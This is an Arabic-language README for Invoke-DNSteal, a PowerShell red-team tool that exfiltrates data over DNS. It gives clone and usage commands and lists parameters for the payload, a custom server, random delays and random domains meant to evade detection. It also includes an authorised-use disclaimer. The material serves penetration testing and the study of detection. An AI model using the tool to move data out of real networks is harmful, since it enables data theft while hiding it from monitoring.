
أداة تسريب بيانات عبر DNS ترسل الحمولات عبر UDP/TCP مع حجم استعلام قابل للتعديل، وتأخير عشوائي، ونطاقات عشوائية لتجنب الكشف أثناء عمليات الفريق الأحمر.

Invoke-DNSteal هي أداة بسيطة وقابلة للتخصيص لاستخراج البيانات عبر DNS.
تساعدك هذه الأداة على استخراج البيانات عبر بروتوكول DNS عبر UDP و TCP، وتتيح لك التحكم في حجم الاستعلامات باستخدام تأخير عشوائي. كما تسمح لك بتجنب الاكتشاف باستخدام نطاقات عشوائية في كل استعلام، ويمكنك استخدامها لنقل المعلومات محلياً وعن بُعد.
يُوصى باستنساخ المستودع بالكامل أو تنزيل ملف zip. يمكنك فعل ذلك بتشغيل الأمر التالي:
git clone https://github.com/JoelGMSec/Invoke-DNSteal.git
.\Invoke-DNSteal.ps1 -h
___ _ ____ _ _ ____ _ _
|_ _|_ __ _ __ __ | | __ __ | _ \| \ | / ___|| |__ __ __ _| |
| || '_ \ \ / / _ \| |/ / _ \_____| | | | \| \___ \| __/ _ \/ _' | |
| || | | \ V / (_) | < __/_____| |_| | |\ |___) | || __/ (_| | |
|___|_| |_|\_/ \___/|_|\_\___| |____/|_| \_|____/ \__\___|\__,_|_|
--------------------------- by @JoelGMSec --------------------------
Info: This tool helps you to exfiltrate data through DNS protocol
and lets you control the size of queries using random delay
Usage: .\Invoke-DNSteal.ps1 -t target -p payload -l length
-s server -tcponly true/false -min 3000 -max 5000
Parameters:
· الهدف (Target): النطاق الهدف لاستخراج البيانات
· الحمولة (Payload): الحمولة التي سيتم إرسالها عبر قطع DNS
· الطول (Length): طول الحمولة للتحكم في حجم البيانات
· الخادم (Server): خادم مخصص لحل استعلامات DNS
· TCP فقط (TcpOnly): ضبط TcpOnly على true أو false
· الحد الأدنى للتأخير (Delay Min): الحد الأدنى لوقت التأخير لعمل استعلام بالمللي ثانية
· الحد الأقصى للتأخير (Delay Max): الحد الأقصى لوقت التأخير لعمل استعلام بالمللي ثانية
· عشوائي (Random): استخدام اسم نطاق عشوائي لتجنب الاكتشاف
تحذير: يجب أن يكون الطول (حجم الحمولة) بين 4 و 240
سيزداد وقت المعالجة حسب حجم البيانات
https://darkbyte.net/exfiltrando-informacion-por-dns-con-invoke-dnsteal
هذا المشروع مرخص بموجب رخصة GNU 3.0 - راجع ملف LICENSE لمزيد من التفاصيل.
تم إنشاء هذا السكريبت وتصميمه من الصفر بواسطة Joel Gámez Molina // @JoelGMSec
شكر خاص لـ @3v4si0n على تنفيذ DNS عبر TCP، وبعض كود Python العام.
لا يقدم هذا البرنامج أي نوع من الضمان. استخدامه حصري للبيئات التعليمية و/أو تدقيقات الأمان بموافقة العميل المقابلة. لست مسؤولاً عن سوء استخدامه أو أي ضرر محتمل ناتج عنه.
لمزيد من المعلومات، يمكنك العثور علي على تويتر كـ @JoelGMSec وعلى مدونتي darkbyte.net.
يمكنك دعم عملي بشراء فنجان قهوة لي: